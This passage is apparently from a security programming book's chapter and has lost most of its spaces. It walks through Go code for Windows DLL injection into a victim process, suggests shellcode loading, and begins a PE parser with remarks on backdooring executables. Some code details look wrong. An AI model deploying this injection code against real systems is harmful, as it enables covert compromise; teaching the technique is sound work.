ThisfiledefinesthenativeWindowsDLL,whichmaintains exportedsystem-levelAPIs,thatwe’llcallbyusingtheGo syscallpackage.Thewinmodsfilecontainsdeclarationsand assignmentsofmoreWindowsDLLmodulereferencesthan requiredforoursampleproject,butwe’lldocumentthemso thatyoucanleveragethoseinmoreadvancedinjectioncode. import"syscall" var( ❶ModKernel32=syscall.NewLazyDLL("kernel32.dll") modUser32=syscall.NewLazyDLL("user32.dll") modAdvapi32=syscall.NewLazyDLL("Advapi32.dll") ProcOpenProcessToken=modAdvapi32.NewProc("GetProcessToken") ProcLookupPrivilegeValueW= modAdvapi32.NewProc("LookupPrivilegeValueW") ProcLookupPrivilegeNameW= modAdvapi32.NewProc("LookupPrivilegeNameW") ProcAdjustTokenPrivileges= modAdvapi32.NewProc("AdjustTokenPrivileges") ProcGetAsyncKeyState=modUser32.NewProc("GetAsyncKeyState") ProcVirtualAlloc=ModKernel32.NewProc("VirtualAlloc") ProcCreateThread=ModKernel32.NewProc("CreateThread") ProcWaitForSingleObject=ModKernel32.NewProc("WaitForSingleObject") ProcVirtualAllocEx=ModKernel32.NewProc("VirtualAllocEx") ProcVirtualFreeEx=ModKernel32.NewProc("VirtualFreeEx") ProcCreateRemoteThread=ModKernel32.NewProc("CreateRemoteThread") ProcGetLastError=ModKernel32.NewProc("GetLastError") ProcWriteProcessMemory=ModKernel32.NewProc("WriteProcessMemory") ❷ProcOpenProcess=ModKernel32.NewProc("OpenProcess") ProcGetCurrentProcess=ModKernel32.NewProc("GetCurrentProcess") ProcIsDebuggerPresent=ModKernel32.NewProc("IsDebuggerPresent") ProcGetProcAddress=ModKernel32.NewProc("GetProcAddress") ProcCloseHandle=ModKernel32.NewProc("CloseHandle") ProcGetExitCodeThread=ModKernel32.NewProc("GetExitCodeThread") ) Listing12-3:Thewinmodsfile(/ch-12/procInjector/winsys/winmods.go) WeusetheNewLazyDLL()methodtoloadtheKernel32DLL ❶.Kernel32managesmuchoftheinternalWindowsprocess functionality,suchasaddressing,handling,memory allocation,andmore.(It’sworthnotingthat,asofGoversion 1.12.2,youcanuseacoupleofnewfunctionstobetterload DLLsandpreventsystemDLLhijackingattacks:LoadLibraryEx() andNewLazySystemDLL().) BeforewecaninteractwiththeDLL,wemustestablisha variablethatwecanuseinourcode.Wedothisbycalling module.NewProcforeachAPIthatwe’llneedtouse.At❷,we callitagainstOpenProcess()andassignittoanexportedvariable calledProcOpenProcess.TheuseofOpenProcess()isarbitrary;it’s intendedtodemonstratethetechniqueforassigningany exportedWindowsDLLfunctiontoadescriptivevariable name. ObtainingaProcessTokenwiththeOpenProcess WindowsAPI Next,webuildouttheOpenProcessHandle()function,whichwe’ll usetoobtainaprocesshandletoken.Wewilllikelyusethe termstokenandhandleinterchangeablythroughoutthecode, butrealizethateveryprocesswithinaWindowssystemhasa uniqueprocesstoken.Thisprovidesameanstoenforce relevantsecuritymodels,suchasMandatoryIntegrityControl, acomplexsecuritymodel(andonethatisworthinvestigating inordertogetmoreacquaintedwithprocess-levelmechanics). Thesecuritymodelsconsistofsuchitemsasprocess-level rightsandprivileges,forexample,anddictatehowboth unprivilegedandelevatedprocessescaninteractwithone another. First,let’stakealookattheC++OpenProcess()datastructure asdefinedwithintheWindowAPIdocumentation(Listing12- 4).We’lldefinethisobjectasifweintendedtocallitfrom nativeWindowsC++code.However,wewon’tbedoingthis, becausewe’llbedefiningthisobjecttobeusedwithGo’s syscallpackage.Therefore,we’llneedtotranslatethisobjectto standardGodatatypes. HANDLEOpenProcess( DWORD❶dwDesiredAccess, BOOLbInheritHandle, DWORDdwProcessId ); Listing12-4:AnarbitraryWindowsC++objectanddatatypes ThefirstnecessarytaskistotranslateDWORD❶toausable typethatGomaintains.ADWORDisdefinedbyMicrosoftasa 32-bitunsignedinteger,whichcorrespondstoGo’suint32type. TheDWORDvaluestatesthatitmustcontaindwDesiredAccessor, asthedocumentationstates,“oneormoreoftheprocess accessrights.”Processaccessrightsdefinetheactionswe wishtotakeuponaprocess,givenavalidprocesstoken. Wewanttodeclareavarietyofprocessaccessrights.Since thesevalueswon’tchange,weplacesuchrelevantvaluesina Goconstantsfile,asshowninListing12-5.Eachlineinthis listdefinesaprocessaccessright.Thelistcontainsalmost everyavailableprocessaccessright,butwewilluseonlythe onesnecessaryforobtainingaprocesshandle. const( // docs.microsoft.com/en-us/windows/desktop/ProcThread/process-security-and-access-rights PROCESS_CREATE_PROCESS=0x0080 PROCESS_CREATE_THREAD=0x0002 PROCESS_DUP_HANDLE=0x0040 PROCESS_QUERY_INFORMATION=0x0400 PROCESS_QUERY_LIMITED_INFORMATION=0x1000 PROCESS_SET_INFORMATION=0x0200 PROCESS_SET_QUOTA=0x0100 PROCESS_SUSPEND_RESUME=0x0800 PROCESS_TERMINATE=0x0001 PROCESS_VM_OPERATION=0x0008 PROCESS_VM_READ=0x0010 PROCESS_VM_WRITE=0x0020 PROCESS_ALL_ACCESS=0x001F0FFF ) Listing12-5:Aconstantssectiondeclaringprocessaccessrights(/ch- 12/procInjector/winsys/constants.go) AlltheprocessaccessrightswedefinedinListing12-5 reconcilewiththeirrespectiveconstanthexadecimalvalues, whichistheformattheyneedtobeintoassignthemtoaGo variable. Oneissuethatwe’dliketodescribepriortoreviewing Listing12-6isthatmostofthefollowingprocessinjection functions,notjustOpenProcessHandle(),willconsumeacustom objectoftypeInjectandreturnavalueoftypeerror.TheInject structobject(Listing12-6)willcontainvariousvaluesthat willbeprovidedtotherelevantWindowsfunctionviasyscall. typeInjectstruct{ Piduint32 DllPathstring DLLSizeuint32 Privilegestring RemoteProcHandleuintptr Lpaddruintptr LoadLibAddruintptr RThreaduintptr TokenTOKEN TokenTOKEN } typeTOKENstruct{ tokenHandlesyscall.Token } Listing12-6:TheInjectstructusedtoholdcertainprocessinjectiondatatypes(/ch- 12/procInjector/winsys/models.go) Listing12-7illustratesourfirstactualfunction, OpenProcessHandle().Let’stakealookatthefollowingcodeblock anddiscussthevariousdetails. funcOpenProcessHandle(i*Inject)error{ ❶varrightsuint32=PROCESS_CREATE_THREAD| PROCESS_QUERY_INFORMATION| PROCESS_VM_OPERATION| PROCESS_VM_WRITE| PROCESS_VM_READ ❷varinheritHandleuint32=0 ❸varprocessIDuint32=i.Pid ❹remoteProcHandle,_,lastErr❺:=ProcOpenProcess.Call❻( uintptr(rights),//DWORDdwDesiredAccess uintptr(inheritHandle),//BOOLbInheritHandle uintptr(processID))//DWORDdwProcessId ifremoteProcHandle==0{ returnerrors.Wrap(lastErr,`[!]ERROR: Can'tOpenRemoteProcess.Mayberunningwelevatedintegrity?`) } i.RemoteProcHandle=remoteProcHandle fmt.Printf("[-]InputPID:%v\n",i.Pid) fmt.Printf("[-]InputDLL:%v\n",i.DllPath) fmt.Printf("[+]Processhandle:%v\n",unsafe.Pointer(i.RemoteProcHandle)) returnnil } Listing12-7:TheOpenProcessHandle()functionusedtoobtainaprocesshandle(/ch- 12/procInjector/winsys/inject.go) Thecodestartsbyassigningprocessaccessrightstothe uint32variablecalledrights❶.Theactualvaluesassigned includePROCESS_CREATE_THREAD,whichallowsustocreatea threadonourremoteprocess.Followingthatis PROCESS_QUERY_INFORMAITON,whichgivesustheabilityto genericallyquerydetailsabouttheremoteprocess.Thelast threeprocessaccessrights,PROCESS_VM_OPERATION, PROCESS_VM_WRITE,andPROCESS_VM_READ,allprovidethe accessrightstomanagetheremoteprocessvirtualmemory. Thenextdeclaredvariable,inheritHandle❷,dictateswhether ournewprocesshandlewillinherittheexistinghandle.We passin0toindicateaBooleanfalsevalue,aswewantanew processhandle.ImmediatelyfollowingistheprocessID❸ variablecontainingthePIDofthevictimprocess.Allthe while,wereconcileourvariabletypeswiththeWindowsAPI documentation,suchthatbothourdeclaredvariablesareof typeuint32.Thispatterncontinuesuntilwemakethesystem callbyusingProcOpenProcess.Call()❻. The.Call()methodconsumesavaryingnumberofuintptr values,which,ifweweretolookattheCall()function signature,wouldbedeclaredliterallyas...uintptr.Additionally, thereturntypesaredesignatedasuintptr❹anderror❺.Further, theerrortypeisnamedlastErr❺,whichyou’llfindreferenced intheWindowsAPIdocumentation,andcontainsthereturned errorvalueasdefinedbytheactualcalledfunction. ManipulatingMemorywiththeVirtualAllocEx WindowsAPI Nowthatwehavearemoteprocesshandle,weneedameans toallocatevirtualmemorywithintheremoteprocess.Thisis necessaryinordertosetasidearegionofmemoryand initializeitpriortowritingtoit.Let’sbuildthatoutnow. PlacethefunctiondefinedinListing12-8immediatelyafter thefunctiondefinedinListing12-7.(Wewillcontinueto appendfunctions,oneafteranother,aswenavigatetheprocess injectioncode.) funcVirtualAllocEx(i*Inject)error{ varflAllocationTypeuint32=MEM_COMMIT|MEM_RESERVE varflProtectuint32=PAGE_EXECUTE_READWRITE lpBaseAddress,_,lastErr:=ProcVirtualAllocEx.Call( i.RemoteProcHandle,//HANDLEhProcess uintptr(nullRef),//LPVOIDlpAddress❶ uintptr(i.DLLSize),//SIZE_TdwSize uintptr(flAllocationType),//DWORDflAllocationType // https://docs.microsoft.com/en-us/windows/desktop/Memory/memory-protection-constants uintptr(flProtect))//DWORDflProtect iflpBaseAddress==0{ returnerrors.Wrap(lastErr,"[!]ERROR:Can'tAllocateMemoryOnRemote Process.") } i.Lpaddr=lpBaseAddress fmt.Printf("[+]Basememoryaddress:%v\n",unsafe.Pointer(i.Lpaddr)) returnnil } Listing12-8:AllocatingaregionofmemoryintheremoteprocessviaVirtualAllocEx (/ch-12/procInjector/winsys/inject.go) UnlikethepreviousOpenProcess()systemcall,weintroducea newdetailviathenullRefvariable❶.Thenilkeywordis reservedbyGoforallnullintents.However,it’satypedvalue, whichmeansthatpassingitdirectlyviaasyscallwithoutatype willresultineitheraruntimeerrororatype-conversionerror —eitherway,abadsituation.Thefixissimpleinthiscase:we declareavariablethatresolvestoa0value,suchasaninteger. The0valuecannowbereliablypassedandinterpretedasanull valuebythereceivingWindowsfunction. WritingtoMemorywiththeWriteProcessMemory WindowsAPI Next,we’llusetheWriteProcessMemory()functiontowritetothe remoteprocess’smemoryregionpreviouslyinitializedusing theVirtualAllocEx()function.InListing12-9,we’llkeepthings simplebycallingaDLLbyfilepath,ratherthanwritingthe entireDLLcodeintomemory. funcWriteProcessMemory(i*Inject)error{ varnBytesWritten*byte dllPathBytes,err:=syscall.BytePtrFromString(i.DllPath)❶ iferr!=nil{ returnerr } writeMem,_,lastErr:=ProcWriteProcessMemory.Call( i.RemoteProcHandle,//HANDLEhProcess i.Lpaddr,//LPVOIDlpBaseAddress uintptr(unsafe.Pointer(dllPathBytes)),//LPCVOIDlpBuffer❷ uintptr(i.DLLSize),//SIZE_TnSize uintptr(unsafe.Pointer(nBytesWritten)))//SIZE_T *lpNumberOfBytesWritten ifwriteMem==0{ returnerrors.Wrap(lastErr,"[!]ERROR:Can'twritetoprocessmemory.") } returnnil } Listing12-9:WritingtheDLLfilepathtoremoteprocessmemory(/ch- 12/procInjector/winsys/inject.go) ThefirstnoticeablesyscallfunctionisBytePtrFromString()❶, whichisaconveniencefunctionthatconsumesastringand returnsthebaseindex-0pointerlocationofabyteslice,which we’llassigntodllPathBytes. Finally,wegettoseeunsafe.Pointerinaction.Thethird argumenttotheProcWriteProcessMemory.Callisdefinedwithinthe WindowsAPIspecificationas“lpBuffer—apointertothebuffer thatcontainsdatatobewrittenintheaddressspaceofthe specifiedprocess.”InordertopasstheGopointervalue definedindllPathBytesovertothereceivingWindowsfunction, weuseunsafe.Pointertocircumventtypeconversions.Onefinal pointtomakehereisthatuintptrandunsafe.Pointer❷are acceptablysafe,sincebotharebeingusedinlineandwithout theintentofassigningthereturnvaluetoavariableforlater reuse. FindingLoadLibraryAwiththeGetProcessAddress WindowsAPI Kernel32.dllexportsafunctioncalledLoadLibraryA(),whichis availableonallWindowsversions.Microsoftdocumentation statesthatLoadLibraryA()“loadsthespecifiedmoduleintothe addressspaceofthecallingprocess.Thespecifiedmodule maycauseothermodulestobeloaded.”Weneedtoobtainthe memorylocationofLoadLibraryA()beforecreatingaremote threadnecessarytoexecuteouractualprocessinjection.We candothiswiththeGetLoadLibAddress()function—oneofthose supportingfunctionsmentionedearlier(Listing12-10). funcGetLoadLibAddress(i*Inject)error{ varllibBytePtr*byte llibBytePtr,err:=syscall.BytePtrFromString("LoadLibraryA")❶ iferr!=nil{ returnerr } lladdr,_,lastErr:=ProcGetProcAddress.Call❷( ModKernel32.Handle(),//HMODULEhModule❸ uintptr(unsafe.Pointer(llibBytePtr)))//LPCSTRlpProcName❹ if&lladdr==nil{ returnerrors.Wrap(lastErr,"[!]ERROR:Can'tgetprocessaddress.") } i.LoadLibAddr=lladdr fmt.Printf("[+]Kernel32.Dllmemoryaddress:%v\n", unsafe.Pointer(ModKernel32.Handle())) fmt.Printf("[+]Loadermemoryaddress:%v\n",unsafe.Pointer(i.LoadLibAddr)) returnnil } Listing12-10:ObtainingtheLoadLibraryA()memoryaddressbyusingthe GetProcessAddress()Windowsfunction(/ch-12/procInjector/winsys/inject.go) WeusetheGetProcessAddress()Windowsfunctiontoidentify thebasememoryaddressofLoadLibraryA()necessarytocallthe CreateRemoteThread()function.TheProcGetProcAddress.Call()❷ functiontakestwoarguments:thefirstisahandletoKernel32.dll ❸thatcontainstheexportedfunctionwe’reinterestedin (LoadLibraryA()),andthesecondisthebaseindex-0pointer location❹ofabyteslicereturnedfromtheliteralstring "LoadLibraryA"❶. ExecutingtheMaliciousDLLUsingthe CreateRemoteThreadWindowsAPI We’llusetheCreateRemoteThread()Windowsfunctiontocreatea threadagainsttheremoteprocess’virtualmemoryregion.If thatregionhappenstobeLoadLibraryA(),wenowhaveameans toloadandexecutetheregionofmemorycontainingthefile pathtoourmaliciousDLL.Let’sreviewthecodeinListing 12-11. funcCreateRemoteThread(i*Inject)error{ varthreadIduint32=0 vardwCreationFlagsuint32=0 remoteThread,_,lastErr:=ProcCreateRemoteThread.Call❶( i.RemoteProcHandle,//HANDLEhProcess❷ uintptr(nullRef),//LPSECURITY_ATTRIBUTESlpThreadAttributes uintptr(nullRef),//SIZE_TdwStackSize i.LoadLibAddr,//LPTHREAD_START_ROUTINElpStartAddress❸ i.Lpaddr,//LPVOIDlpParameter❹ uintptr(dwCreationFlags),//DWORDdwCreationFlags uintptr(unsafe.Pointer(&threadId)),//LPDWORDlpThreadId ) ifremoteThread==0{ returnerrors.Wrap(lastErr,"[!]ERROR:Can'tCreateRemoteThread.") } i.RThread=remoteThread fmt.Printf("[+]Threadidentifiercreated:%v\n",unsafe.Pointer(&threadId)) fmt.Printf("[+]Threadhandlecreated:%v\n",unsafe.Pointer(i.RThread)) returnnil } Listing12-11:ExecutingtheprocessinjectionbyusingtheCreateRemoteThread() Windowsfunction(/ch-12/procInjector/winsys/inject.go) TheProcCreateRemoteThread.Call()❶functiontakesatotalof sevenarguments,althoughwe’lluseonlythreeoftheminthis example.TherelevantargumentsareRemoteProcHandle❷ containingthevictimprocess’shandle,LoadLibAddr❸ containingthestartroutinetobecalledbythethread(inthis case,LoadLibraryA()),and,lastly,thepointer❹tothevirtually allocatedmemoryholdingthepayloadlocation. VerifyingInjectionwiththeWaitforSingleObject WindowsAPI We’llusetheWaitforSingleObject()Windowsfunctiontoidentify whenaparticularobjectisinasignaledstate.Thisisrelevant toprocessinjectionbecausewewanttowaitforourthreadto executeinordertoavoidbailingoutprematurely.Let’sbriefly discussthefunctiondefinitioninListing12-12. funcWaitForSingleObject(i*Inject)error{ vardwMillisecondsuint32=INFINITE vardwExitCodeuint32 rWaitValue,_,lastErr:=ProcWaitForSingleObject.Call(❶ i.RThread,//HANDLEhHandle uintptr(dwMilliseconds))//DWORDdwMilliseconds ifrWaitValue!=0{ returnerrors.Wrap(lastErr,"[!]ERROR:Errorreturningthreadwaitstate.") } success,_,lastErr:=ProcGetExitCodeThread.Call(❷ i.RThread,//HANDLEhThread uintptr(unsafe.Pointer(&dwExitCode)))//LPDWORDlpExitCode ifsuccess==0{ returnerrors.Wrap(lastErr,"[!]ERROR:Errorreturningthreadexitcode.") } closed,_,lastErr:=ProcCloseHandle.Call(i.RThread)//HANDLEhObject❸ ifclosed==0{ returnerrors.Wrap(lastErr,"[!]ERROR:Errorclosingthreadhandle.") } returnnil } Listing12-12:UsingtheWaitforSingleObject()Windowsfunctiontoensuresuccessful threadexecution(/ch-12/procInjector/winsys/inject.go) Threenotableeventsareoccurringinthiscodeblock.First, theProcWaitForSingleObject.Call()systemcall❶ispassedthethread handlereturnedinListing12-11.AwaitvalueofINFINITEis passedasthesecondargumenttodeclareaninfiniteexpiration timeassociatedwiththeevent. Next,ProcGetExitCodeThread.Call()❷determineswhetherthe threadterminatedsuccessfully.Ifitdid,theLoadLibraryA functionshouldhavebeencalled,andourDLLwillhavebeen executed.Finally,aswedofortheresponsiblecleanupof almostanyhandle,wepassedtheProcCloseHandle.Call()system call❸sothatthatthreadobjecthandleclosescleanly. CleaningUpwiththeVirtualFreeExWindowsAPI WeusetheVirtualFreeEx()Windowsfunctiontorelease,or decommit,thevirtualmemorythatweallocatedinListing12- 8viaVirtualAllocEx().Thisisnecessarytocleanupmemory responsibly,sinceinitializedmemoryregionscanberather large,consideringtheoverallsizeofthecodebeinginjected intotheremoteprocess,suchasanentireDLL.Let’stakea lookatthisblockofcode(Listing12-13). funcVirtualFreeEx(i*Inject)error{ vardwFreeTypeuint32=MEM_RELEASE varsizeuint32=0//Sizemustbe0toMEM_RELEASEalloftheregion rFreeValue,_,lastErr:=ProcVirtualFreeEx.Call❶( i.RemoteProcHandle,//HANDLEhProcess❷ i.Lpaddr,//LPVOIDlpAddress❸ uintptr(size),//SIZE_TdwSize❹ uintptr(dwFreeType))//DWORDdwFreeType❺ ifrFreeValue==0{ returnerrors.Wrap(lastErr,"[!]ERROR:Errorfreeingprocessmemory.") } fmt.Println("[+]Success:Freedmemoryregion") returnnil } Listing12-13:FreeingvirtualmemorybyusingtheVirtualFreeEx()Windowsfunction (/ch-12/procInjector/winsys/inject.go) TheProcVirtualFreeEx.Call()function❶takesfourarguments. Thefirstistheremoteprocesshandle❷associatedwiththe processthatistohaveitsmemoryfreed.Thenextargumentis apointer❸tothelocationofmemorytobefreed. Noticethatavariablenamedsize❹isassigneda0value. Thisisnecessary,asdefinedwithintheWindowsAPI specification,toreleasetheentireregionofmemorybackinto areclaimablestate.Finally,wepasstheMEM_RELEASE operation❺tocompletelyfreetheprocessmemory(andour discussiononprocessinjection). AdditionalExercises Likemanyoftheotherchaptersinthisbook,thischapterwill providethemostvalueifyoucodeandexperimentalongthe way.Therefore,weconcludethissectionwithafew challengesorpossibilitiestoexpandupontheideasalready covered: Oneofthemostimportantaspectsofcreatingcodeinjectionismaintaininga usabletoolchainsufficientforinspectinganddebuggingprocessexecution. DownloadandinstallboththeProcessHackerandProcessMonitortools.Then, usingProcessHacker,locatethememoryaddressesofbothKernel32and LoadLibrary.Whileyou’reatit,locatetheprocesshandleandtakealookatthe integritylevel,alongwithinherentprivileges.Nowinjectyourcodeintothe samevictimprocessandlocatethethread. Youcanexpandtheprocessinjectionexampletobelesstrivial.Forexample, insteadofloadingthepayloadfromadiskfilepath,useMsfVenomorCobalt Striketogenerateshellcodeandloaditdirectlyintoprocessmemory.Thiswill requireyoutomodifyVirtualAllocExandLoadLibrary. CreateaDLLandloadtheentirecontentsintomemory.Thisissimilartothe previousexercise:theexceptionisthatyou’llbeloadinganentireDLLrather thanshellcode.UseProcessMonitortosetapathfilter,processfilter,orboth, andobservethesystemDLLloadorder.WhatpreventsDLLloadorder hijacking? YoucanuseaprojectcalledFrida(https://www.frida.re/)toinjecttheGoogle ChromeV8JavaScriptengineintothevictimprocess.Ithasastrongfollowing withmobilesecuritypractitionersaswellasdevelopers:youcanuseitto performruntimeanalysis,in-processdebugging,andinstrumentation.Youcan alsouseFridawithotheroperatingsystems,suchasWindows.Createyourown Gocode,injectFridaintoavictimprocess,anduseFridatorunJavaScript withinthesameprocess.BecomingfamiliarwiththewayFridaworkswill requiresomeresearch,butwepromiseit’swellworthit. THEPORTABLEEXECUTABLEFILE Sometimesweneedavehicletodeliverourmaliciouscode. Thiscouldbeanewlymintedexecutable(deliveredthroughan exploitinpreexistingcode),oramodifiedexecutablethat alreadyexistsonthesystem,forexample.Ifwewantedto modifyanexistingexecutable,wewouldneedtounderstand thestructureoftheWindowsPortableExecutable(PE)file binarydataformat,asitdictateshowtoconstructan executable,alongwiththeexecutable’scapabilities.Inthis section,we’llcoverboththePEdatastructureandGo’sPE package,andbuildaPEbinaryparser,whichyoucanuseto navigatethestructureofaPEbinary. UnderstandingthePEFileFormat First,let’sdiscussthePEdatastructureformat.TheWindows PEfileformatisadatastructuremostoftenrepresentedasan executable,objectcode,oraDLL.ThePEformatalso maintainsreferencesforallresourcesusedduringtheinitial operatingsystemloadingofthePEbinary,includingthe exportaddresstable(EAT)usedtomaintainexported functionsbyordinal,theexportnametableusedtomaintain exportedfunctionsbyname,theimportaddresstable(IAT), importnametable,threadlocalstorage,andresource management,amongotherstructures.YoucanfindthePE formatspecificationathttps://docs.microsoft.com/en- us/windows/win32/debug/pe-format/.Figure12-6showsthe PEdatastructure:avisualrepresentationofaWindows binary. Figure12-6:TheWindowsPEfileformat Wewillexamineeachofthesetop-downsectionsaswe buildoutthePEparser. WritingaPEParser Throughoutthefollowingsections,wewillwritethe individualparsercomponentsnecessarytoanalyzeeachPE sectionwithintheWindowsbinaryexecutable.Asanexample, we’llusethePEformatassociatedwiththeTelegram messagingapplicationbinarylocatedathttps://telegram.org, sincethisappisbothlesstrivialthantheoftenoverusedputty SSHbinaryexample,andisdistributedasaPEformat.You canusealmostanyWindowsbinaryexecutable,andwe encourageyoutoinvestigateothers. LoadingthePEbinaryandFileI/O InListing12-14,we’llstartbyusingtheGoPEpackageto preparetheTelegrambinaryforfurtherparsing.Youcanplace allthecodethatwecreatewhenwritingthisparserinasingle filewithinamain()function. import( ❶"debug/pe" "encoding/binary" "fmt" "io" "log" "os" ) funcmain(){ ❷f,err:=os.Open("Telegram.exe") check(err) ❸pefile,err:=pe.NewFile(f) check(err) deferf.Close() deferpefile.Close() Listing12-14:FileI/OforPEbinary(/ch-12/peParser/main.go) PriortoreviewingeachofthePEstructurecomponents,we needtostubouttheinitialimport❶andfileI/Obyusingthe GoPEpackage.Weuseos.Open()❷andthenpe.NewFile()❸to createafilehandleandaPEfileobject,respectively.Thisis necessarybecauseweintendtoparsethePEfilecontentsby usingaReaderobject,suchasafileorbinaryreader. ParsingtheDOSHeaderandtheDOSStub Thefirstsectionofthetop-downPEdatastructureillustrated inFigure12-6startswithaDOSheader.Thefollowingunique valueisalwayspresentwithinanyWindowsDOS-based executablebinary:0x4D0x5A(orMZinASCII),whichaptly declaresthefileasaWindowsexecutable.Anothervalue universallypresentonallPEfilesislocatedatoffset0x3C.The valueatthisoffsetpointstoanotheroffsetcontainingthe signatureofaPEfile:aptly,0x500x450x000x00(orPEinASCII). TheheaderthatimmediatelyfollowsistheDOSStub, whichalwaysprovidesthehexvaluesforThisprogramcannotberun inDOSmode;theexceptiontothisoccurswhenacompiler’s /STUBlinkeroptionprovidesanarbitrarystringvalue.Ifyou takeyourfavoritehexeditorandopentheTelegram application,itshouldbesimilartoFigure12-7.Allofthese valuesarepresent. Figure12-7:AtypicalPEbinaryformatfileheader Sofar,wehavedescribedtheDOSHeaderandStubwhile alsolookingatthehexadecimalrepresentationthroughahex editor.Now,let’stakealookatparsingthosesamevalues withGocode,asprovidedinListing12-15. dosHeader:=make([]byte,96) sizeOffset:=make([]byte,4) //DectoAscii(searchingforMZ) _,err=f.Read(dosHeader)❶ check(err) fmt.Println("[-----DOSHeader/Stub-----]") fmt.Printf("[+]MagicValue:%s%s\n",string(dosHeader[0]), string(dosHeader[1]))❷ //ValidatePE+0+0(ValidPEformat) pe_sig_offset:=int64(binary.LittleEndian.Uint32(dosHeader[0x3c:]))❸ f.ReadAt(sizeOffset[:],pe_sig_offset)❹ fmt.Println("[-----SignatureHeader-----]") fmt.Printf("[+]LFANEWValue:%s\n",string(sizeOffset)) /*OUTPUT [-----DOSHeader/Stub-----] [+]MagicValue:MZ [-----SignatureHeader-----] [+]LFANEWValue:PE */ Listing12-15:ParsingtheDOSHeaderandStubvalues(/ch-12/peParser/main.go) Startingfromthebeginningofthefile,weuseaGofile Reader❶instancetoread96bytesonwardinordertoconfirm theinitialbinarysignature❷.Recallthatthefirst2bytes providetheASCIIvalueMZ.ThePEpackageoffers convenienceobjectstohelpmarshalPEdatastructuresinto somethingmoreeasilyconsumable.Itwill,however,still requiremanualbinaryreadersandbitwisefunctionalitytoget itthere.Weperformabinaryreadoftheoffsetvalue❸ referencedat0x3c,andthenreadexactly4bytes❹composed ofthevalue0x500x45(PE)followedby20x00bytes. ParsingtheCOFFFileHeader ContinuingdownthePEfilestructure,andimmediately followingtheDOSStub,istheCOFFFileHeader.Let’sparse theCOFFFileHeaderbyusingthecodedefinedinListing12- 16,andthendiscusssomeofitsmoreinterestingproperties. //CreatethereaderandreadCOFFHeader ❶sr:=io.NewSectionReader(f,0,1<<63-1) ❷_,err:=sr.Seek(pe_sig_offset+4,os.SEEK_SET) check(err) ❸binary.Read(sr,binary.LittleEndian,&pefile.FileHeader) Listing12-16:ParsingtheCOFFFileHeader(/ch-12/peParser/main.go) WecreateanewSectionReader❶thatstartsfromthe beginningofthefileatposition0andreadstothemaxvalue ofanint64.Thenthesr.Seek()function❷resetsthepositionto startreadingimmediately,followingthePEsignatureoffset andvalue(recalltheliteralvaluesPE+0x00+0x00).Finally,we performabinaryread❸tomarshalthebytesintothepefile object’sFileHeaderstruct.Recallthatwecreatedpefileearlier whenwecalledpe.Newfile(). TheGodocumentationdefinestypeFileHeaderwiththestruct definedinListing12-17.Thisstructalignsquitewellwith Microsoft’sdocumentedPECOFFFileHeaderformat (definedathttps://docs.microsoft.com/en- us/windows/win32/debug/pe-format#coff-file-header-object- and-image/). typeFileHeaderstruct{ Machineuint16 NumberOfSectionsuint16 TimeDateStampuint32 PointerToSymbolTableuint32 NumberOfSymbolsuint32 SizeOfOptionalHeaderuint16 Characteristicsuint16 } Listing12-17:TheGoPEpackage’snativePEFileHeaderstruct ThesingleitemtonoteinthisstructoutsideoftheMachine value(inotherwords,thePEtargetsystemarchitecture),isthe NumberOfSectionsproperty.Thispropertycontainsthenumberof sectionsdefinedwithintheSectionTable,whichimmediately followstheheaders.You’llneedtoupdatetheNumberOfSections valueifyouintendtobackdooraPEfilebyaddinganew section.However,otherstrategiesmaynotrequireupdating thisvalue,suchassearchingotherexecutablesections(suchas CODE,.text,andsoon)forcontiguousunused0x00or0xCC values(amethodtolocatesectionsofmemorythatyoucan usetoimplantshellcode),asthenumberofsectionsremain unchanged. Inclosing,youcanusethefollowingprintstatementsto outputsomeofthemoreinterestingCOFFFileHeadervalues (Listing12-18). //PrintFileHeader fmt.Println("[-----COFFFileHeader-----]") fmt.Printf("[+]MachineArchitecture:%#x\n",pefile.FileHeader.Machine) fmt.Printf("[+]NumberofSections:%#x\n", pefile.FileHeader.NumberOfSections) fmt.Printf("[+]SizeofOptionalHeader:%#x\n", pefile.FileHeader.SizeOfOptionalHeader) //Printsectionnames fmt.Println("[-----SectionOffsets-----]") fmt.Printf("[+]NumberofSectionsFieldOffset:%#x\n",pe_sig_offset+6)❶ //thisistheendoftheSignatureheader(0x7c)+coff(20bytes)+oh32 (224bytes) fmt.Printf("[+]SectionTableOffset:%#x\n",pe_sig_offset+0xF8) /*OUTPUT [-----COFFFileHeader-----] [+]MachineArchitecture:0x14c❷ [+]NumberofSections:0x8❸ [+]SizeofOptionalHeader:0xe0❹ [-----SectionOffsets-----] [+]NumberofSectionsFieldOffset:0x15e❺ [+]SectionTableOffset:0x250❻ */ Listing12-18:WritingCOFFFileHeadervaluestoterminaloutput(/ch- 12/peParser/main.go) YoucanlocatetheNumberOfSectionsvaluebycalculatingthe offsetofthePEsignature+4bytes+2bytes—inotherwords, byadding6bytes.Inourcode,wealreadydefinedpe_sig_offset, sowe’djustadd6bytestothatvalue❶.We’lldiscuss sectionsinmoredetailwhenweexaminetheSectionTable structure. TheproducedoutputdescribestheMachineArchitecture❷ valueof0x14c:anIMAGE_FILE_MACHINE_I386asdetailedin https://docs.microsoft.com/en-us/windows/win32/debug/pe- format#machine-types.Thenumberofsections❸is0x8, dictatingthateightentriesexistwithintheSectionTable.The OptionalHeader(whichwillbediscussednext)hasavariable lengthdependingonarchitecture:thevalueis0xe0(224in decimal),whichcorrespondstoa32-bitsystem❹.Thelast twosectionscanbeconsideredmoreofconvenienceoutput. Specifically,theSectionsFieldOffset❺providestheoffsettothe numberofsections,whiletheSectionTableOffset❻providesthe offsetforthelocationoftheSectionTable.Bothoffsetvalues wouldrequiremodificationifaddingshellcode,forexample. ParsingtheOptionalHeader ThenextheaderinthePEfilestructureistheOptional Header.AnexecutablebinaryimagewillhaveanOptional Headerthatprovidesimportantdatatotheloader,whichloads theexecutableintovirtualmemory.Alotofdataiscontained withinthisheader,sowe’llcoveronlyafewitemsinorderto getyouusedtonavigatingthisstructure. Togetstarted,weneedtoperformabinaryreadofthe relevantbytelengthbasedonarchitecture,asdescribedin Listing12-19.Ifyouwerewritingmorecomprehensivecode, you’dwanttocheckarchitectures(forexample,x86versus x86_64)throughoutinordertousetheappropriatePEdata structures. //GetsizeofOptionalHeader ❶varsizeofOptionalHeader32=uint16(binary.Size(pe.OptionalHeader32{})) ❷varsizeofOptionalHeader64=uint16(binary.Size(pe.OptionalHeader64{})) ❸varoh32pe.OptionalHeader32 ❹varoh64pe.OptionalHeader64 //ReadOptionalHeader switchpefile.FileHeader.SizeOfOptionalHeader{ casesizeofOptionalHeader32: 